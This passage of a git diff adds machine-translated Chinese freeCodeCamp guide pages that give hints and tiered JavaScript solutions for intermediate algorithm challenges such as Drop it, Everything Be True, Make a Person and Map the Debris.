+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLmz/0)
+
+### 代码说明：
+
+*   该程序非常简单，我提出的最佳解决方案是使用开关来捕获所有可能的四个元素。使用if语句会占用太多代码。您也可以使用正则表达式。
+*   由于我们必须使用原始和配对，我决定采用所有四种情况而不是基数两种情况。
+*   创建一个空数组并使用`search`功能将正确的值推送到数组并返回它们。
+
+#### 相关链接
+
+*   [切换语句](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/switch)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+
+```javascript
+    function pairElement(str) { 
+    //create object for pair lookup 
+    var pairs = { 
+      "A": "T", 
+      "T": "A", 
+      "C": "G", 
+      "G": "C" 
+    } 
+    //split string into array of characters 
+    var arr = str.split(""); 
+    //map character to array of character and matching pair 
+    return arr.map(x => [x,pairs[x]]); 
+  } 
+ 
+  //test here 
+  pairElement("GCG"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/repls/ThoroughSphericalComputeranimation)
+
+## 代码说明：
+
+*   首先定义一个具有所有对可能性的对象，这允许我们通过键或值轻松找到。
+*   将`str`拆分为字符数组，以便我们可以使用每个字母来查找它的对。
+*   使用map函数将数组中的每个字符映射到具有字符及其匹配对的数组，从而创建2D数组。
+
+#### 相关链接
+
+*   [Array.prototype.map（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
+*   [物业访问者](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_accessors)
+*   [箭头功能](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/drop-it/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/drop-it/index.md
new file mode 100644
index 0000000000..bd27d9efdd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/drop-it/index.md
@@ -0,0 +1,129 @@
+---
+title: Drop it
+localeTitle: 算了吧
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/2/236dcca68bf55be37bf7cbb9646f6e0156b4a3c3.png)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+基本上，虽然第二个参数不正确，但您必须从作为第一个参数传递的数组左侧删除第一个元素。
+
+#### 相关链接
+
+*   [参数对象](http://forum.freecodecamp.com/t/javascript-arguments/14283)
+*   [Array.shift（）](http://forum.freecodecamp.com/t/javascript-array-prototype-shift/14301)
+*   [Array.slice（）](http://forum.freecodecamp.com/t/javascript-array-prototype-slice/14302)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+您可以使用您应该更熟悉的`Array.prototype.shift()`或过滤器来在几行代码中解决此问题。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+Shift返回我们不需要的被删除的元素，我们需要的只是剩下的修改过的数组。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+如果你仍然无法弄清楚如何用shift来解决它，那么尝试使用filter来解决它，并检查过滤器是如何工作的，如果你熟悉它，那么你可以使用shift来制作代码。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function dropElements(arr, func) { 
+  // drop them elements. 
+  var times = arr.length; 
+  for (var i = 0; i < times; i++) { 
+    if (func(arr[0])) { 
+      break; 
+    } else { 
+      arr.shift(); 
+    } 
+  } 
+  return arr; 
+ } 
+ 
+ // test here 
+ dropElements([1, 2, 3, 4], function(n) {return n >= 3;}) 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLna/0)
+
+### 代码说明：
+
+*   创建一个for循环来检查每个元素。
+*   然后检查给定的函数是否为true然后停止，否则删除该元素。
+*   返回数组。
+
+#### 相关链接
+
+*   [对于循环](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   [更多关于for循环](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function dropElements(arr, func) { 
+  return arr.slice(arr.findIndex(func) >= 0 ? arr.findIndex(func): arr.length, arr.length); 
+ } 
+ 
+ // test here 
+ dropElements([1, 2, 3, 4], function(n) {return n >= 3;}); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnc/0)
+
+### 代码说明：
+
+*   使用ES6 `findIndex()`函数查找传递条件的元素的索引
+*   从找到的索引切割数组直到结束
+*   有一个边缘案例！如果没有满足任何元素的条件'findIndex'将返回`-1` ，这会混淆`slice()`的输入。在这种情况下，使用简单的条件运算符返回`false`而不是`-1` 。和三元运算符（？ ![:slight_smile:](https://forum.freecodecamp.com/images/emoji/emoji_one/slight_smile.png?v=3 "：slight_smile：")当条件为`true`时返回所需元素的索引，否则返回数组的长度，以便返回值为指示的空数组。
+
+#### 相关链接
+
+*   [findIndex（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findIndex)
+*   [条件运算符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function dropElements(arr, func) { 
+  while(arr.length > 0 && !func(arr[0])) { 
+    arr.shift(); 
+  } 
+  return arr; 
+ } 
+ 
+ // test here 
+ dropElements([1, 2, 3, 4], function(n) {return n >= 3;}); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnf/0)
+
+### 代码说明
+
+*   使用带有`Array.prototype.shift()`的while循环继续检查并删除数组的第一个元素，直到函数返回true。它还确保数组首先不为空以避免无限循环。
+*   返回已过滤的数组。
+
+#### 相关链接
+
+*   [循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/while)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/everything-be-true/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/everything-be-true/index.md
new file mode 100644
index 0000000000..6c5156eff3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/everything-be-true/index.md
@@ -0,0 +1,132 @@
+---
+title: Everything Be True
+localeTitle: 一切都是真的
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/d/d69c7f2d86b8902a9bc83653d95932115de47e6a.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+程序需要检查第二个参数是否是一个[真正的](http://forum.freecodecamp.com/t/javascript-truthy-value/15975)元素，并且它必须为第一个参数中的每个对象检查这个。
+
+#### 相关链接
+
+*   [JavaScript Truthy](http://forum.freecodecamp.com/t/javascript-truthy-value/15975)
+*   [JavaScript参数](http://forum.freecodecamp.com/t/javascript-arguments/14283.md)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+记得迭代第一个参数来检查每个对象。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+只有当所有这些都是真理时，我们才会返回真实，所以请确保所有这些都是真的。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+> _现在尝试解决问题_
+
+您可以使用循环或回调函数，有多种方法可以解决此问题。
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**解决方案！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+**使用for-in循环和hasOwnProperty**
+```
+function truthCheck(collection, pre) { 
+  // Create a counter to check how many are true. 
+  var counter = 0; 
+  // Check for each object 
+  for (var c in collection) { 
+    // If it is has property and value is truthy 
+    if (collection[c].hasOwnProperty(pre) && Boolean(collection[c][pre])) { 
+      counter++; 
+    } 
+  } 
+  // Outside the loop, check to see if we got true for all of them and return true or false 
+  return counter == collection.length; 
+ } 
+ 
+ // test here 
+ truthCheck([{"user": "Tinky-Winky", "sex": "male"}, {"user": "Dipsy", "sex": "male"}, {"user": "Laa-Laa", "sex": "female"}, {"user": "Po", "sex": "female"}], "sex"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnw/0)
+
+### 代码说明：
+
+*   首先，我创建一个计数器来检查有多少个案实际上是真的。
+*   然后检查每个对象的值是否真实
+*   在循环之外，我检查计数器变量是否具有与**集合**长度相同的值，如果为true则返回**true** ，否则返回**false**
+
+#### 相关链接
+
+*   [JS循环](http://forum.freecodecamp.com/t/javascript-loops/14681)
+*   [Object.prototype.hasOwnProperty（）](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+
+**使用Array.every（）**
+```
+function truthCheck(collection, pre) { 
+  return collection.every(function (element) { 
+    return element.hasOwnProperty(pre) && Boolean(element[pre]); 
+  }); 
+ } 
+ 
+ // test here 
+ truthCheck([{"user": "Tinky-Winky", "sex": "male"}, {"user": "Dipsy", "sex": "male"}, {"user": "Laa-Laa", "sex": "female"}, {"user": "Po", "sex": "female"}], "sex"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLny/0)
+
+### 代码说明：
+
+*   使用本机“every”方法来测试数组中的所有元素是否都通过了测试。
+*   此链接将帮助[Array.prototype.every（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every)
+
+#### 相关链接
+
+*   [JS Array.prototype.every（）](http://forum.freecodecamp.com/t/javascript-array-prototype-every/14287)
+*   [MDN Array.prototype.every（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function truthCheck(collection, pre) { 
+  // Is everyone being true? 
+  return collection.every(obj => obj[pre]); 
+ } 
+ 
+ truthCheck([{"user": "Tinky-Winky", "sex": "male"}, {"user": "Dipsy", "sex": "male"}, {"user": "Laa-Laa", "sex": "female"}, {"user": "Po", "sex": "female"}], "sex"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/E2u6/0)
+
+### 代码说明：
+
+*   对于`collection`数组中的_每个_对象，检查在`pre`参数中传递的对象属性的真实性
+*   `Array#every`方法在内部检查回调返回的值是否真实。
+*   如果它为_每个_对象传递，则返回`true` 。否则，返回`false` 。
+
+#### 相关链接
+
+*   [`Array#every`](http://devdocs.io/javascript/global_objects/array/every)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/index.md
new file mode 100644
index 0000000000..ce7c91a96b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/index.md
@@ -0,0 +1,11 @@
+---
+title: Intermediate Algorithm Scripting
+localeTitle: 中级算法脚本
+---
+## 中级算法脚本
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/make-a-person/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/make-a-person/index.md
new file mode 100644
index 0000000000..e2478c8e01
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/make-a-person/index.md
@@ -0,0 +1,114 @@
+---
+title: Make a Person
+localeTitle: 做一个人
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+当我启动程序时，我想我只需创建详细信息中提到的六个函数。然而，事情并非那么简单。将它们创建为函数不是正确的方法，我必须以不同的方式创建它们以使它们成为关键。
+
+还有一个棘手的部分，因为你需要六个键不多或少，所以起初我有一个变量，将原始名称存储为键也是错误的。
+
+至于数组的使用，这是可选的，你也可以创建新变量来保存分离的字符串，但是数组更容易处理，因为字符串是不可变的。
+
+仔细阅读说明，运行代码本身总是一个很好的提示，检查测试结果是什么，这样你就知道会发生什么，但不要注意自己。一旦了解了您需要做什么，这个问题就变得非常容易和直接了。
+
+#### 相关链接
+
+*   [关闭](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures)
+*   [对象模型的细节](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+使用**这种**表示法来创建键而不是常规函数：这意味着你应该使用`this.varName = function() {/*...*/}`来代替`var varName = function() {/*...*/}` `this.varName = function() {/*...*/}`
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+该程序有一个测试，检查你使用了多少键，它们必须是六个，详细信息部分提到的六个。这意味着如果您需要使用变量，请将它们`this.fullName = firstAndLast;`本地而不是键： `this.fullName = firstAndLast;`
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+由于错误的变量名称，代码通常不会按预期的方式工作，请务必检查您是否以正确的方式拼写它们。这在某些时候发生在我们所有人身上。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：4
+
+如果您在编写`setter`方法时遇到问题，下面是`set`方法的模板：
+
+```js
+this.setFullName = function(input) { 
+  // Insert your code here 
+ } 
+```
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```js
+var Person = function(firstAndLast) { 
+  var fullName = firstAndLast; 
+ 
+  this.getFirstName = function() { 
+    return fullName.split(" ")[0]; 
+  }; 
+ 
+  this.getLastName = function() { 
+    return fullName.split(" ")[1]; 
+  }; 
+ 
+  this.getFullName = function() { 
+    return fullName; 
+  }; 
+ 
+  this.setFirstName = function(name) { 
+    fullName = name + " " + fullName.split(" ")[1]; 
+  }; 
+ 
+  this.setLastName = function(name) { 
+    fullName = fullName.split(" ")[0] + " " + name; 
+  }; 
+ 
+  this.setFullName = function(name) { 
+    fullName = name; 
+  }; 
+ }; 
+ 
+ var bob = new Person('Bob Ross'); 
+ bob.getFullName(); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLov/0)
+
+### 代码说明：
+
+*   创建一个变量，该变量将复制作为参数传递的全名。
+*   然后我们可以继续创建所需的六种方法并返回所要求的内容。
+*   对于单个setter，我们可以使用split将fullname转换为名字和姓氏的数组，并将名称的未更改部分与作为参数传递的内容连接起来。
+
+#### 相关链接
+
+*   [如何构建对象](https://www.freecodecamp.org/challenges/build-javascript-objects)
+*   [用函数构造对象](https://www.freecodecamp.org/challenges/construct-javascript-objects-with-functions)
+*   [将对象声明为变量](https://www.freecodecamp.org/challenges/declare-javascript-variables)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](https://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/map-the-debris/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/map-the-debris/index.md
new file mode 100644
index 0000000000..7322708ed1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/map-the-debris/index.md
@@ -0,0 +1,166 @@
+---
+title: Map the Debris
+localeTitle: 映射碎片
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+首先要做的是通过了解轨道周期究竟是什么来熟悉程序的内容。你将返回一个新的数组，将该元素的平均高度转换为它们的轨道周期。通常很难找到的部分是找到公式，实现它，对某些人来说，通过键修改对象。但是，一些不太清楚的事实是你的程序必须能够检查数组中的任意数量的对象;这是在第二部分测试的内容。
+
+#### 相关链接
+
+*   [轨道期](https://en.wikipedia.org/wiki/Orbital_period)
+*   [JS对象](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object)
+*   [Math.PI](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/PI)
+*   [JS Math Pow](http://forum.freecodecamp.com/t/javascript-math-pow/14685)
+*   [Math.sqrt（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt)
+*   [Math.round（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/round)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+所需的公式是：
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e212370f07c55165ff69f318ee1eed24779c7532.png)
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+使用`Math.round()`按要求向上舍入到下一个整数。使用`Math.ceil()`将允许您通过第一个测试但是第二个测试失败。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+了解如何删除和添加JavaScript对象的密钥。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function orbitalPeriod(arr) { 
+  var GM = 398600.4418; 
+  var earthRadius = 6367.4447; 
+  var a = 2 * Math.PI; 
+  var newArr = []; 
+  var getOrbPeriod = function(obj) { 
+    var c = Math.pow(earthRadius + obj.avgAlt, 3); 
+    var b = Math.sqrt(c / GM); 
+    var orbPeriod = Math.round(a * b); 
+    delete obj.avgAlt; 
+    obj.orbitalPeriod = orbPeriod; 
+    return obj; 
+  }; 
+ 
+  for (var elem in arr) { 
+    newArr.push(getOrbPeriod(arr[elem])); 
+  } 
+ 
+  return newArr; 
+ } 
+ 
+ // test here 
+ orbitalPeriod([{name : "sputnik", avgAlt : 35873.5553}]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLow/0)
+
+### 代码说明：
+
+*   **GM**和**earthRadius**都给了我们。
+*   为了使代码更易于编辑和阅读，等式的每个部分都是单独编写的。
+*   创建**newArr**来存储`orbPeriod`的。
+*   **a**是pi的2倍。作为常量的部分在全局范围内，而其余部分是函数的一部分。
+*   创建一个函数`gerOrbPeriod()` ，它将为任意数量的对象执行所需的工作。
+*   **c**是（ **earthRadius** + **avgAlt** ）到立方体。
+*   **b**是**c的**平方根除以**GM** 。
+*   创建**orbPeriod**以存储**a**和**b**的乘积，应用`Math.round()`函数以向上舍入到下一个整数。
+*   然后我们删除关键**avgAlt** ，并添加新密钥及其值。
+
+#### 相关链接
+
+*   [JS For In Loop](http://forum.freecodecamp.com/t/javascript-for-in-loop/14665)
+*   [JS阵列原型推送](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function orbitalPeriod(arr) { 
+  var GM = 398600.4418; 
+  var earthRadius = 6367.4447; 
+ 
+  //Looping through each key in arr object 
+  for(var prop in arr) { 
+    //Rounding off the orbital period value 
+    var orbitalPer = Math.round(2 * Math.PI * Math.sqrt(Math.pow(arr[prop].avgAlt + earthRadius, 3) / GM)); 
+    //deleting the avgAlt property 
+    delete arr[prop].avgAlt; 
+    //adding orbitalPeriod property 
+    arr[prop].orbitalPeriod = orbitalPer; 
+  } 
+ 
+  return arr; 
+ } 
+ 
+ // test here 
+ orbitalPeriod([{name : "sputnik", avgAlt : 35873.5553}]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLoy/0)
+
+### 代码说明：
+
+*   **GM**和**earthRadius**都给了我们。
+*   `for..in`循环用于迭代给定数组**arr中的**每个值。
+*   **orbitalPer**保持使用公式计算的每次迭代的轨道周期值。
+*   关键的**avgAlt**被删除，找到的**orbitalPer**在**arr中**分配。
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function orbitalPeriod(arr) { 
+  var GM = 398600.4418; 
+  var earthRadius = 6367.4447; 
+ 
+  // Loop through each item in the array arr 
+  arr.forEach(function(item) { 
+    // Calculate the Orbital period value 
+    var tmp = Math.round(2 * Math.PI * Math.sqrt(Math.pow(earthRadius + item.avgAlt, 3) / GM)); 
+    //Delete the avgAlt property 
+    delete item.avgAlt; 
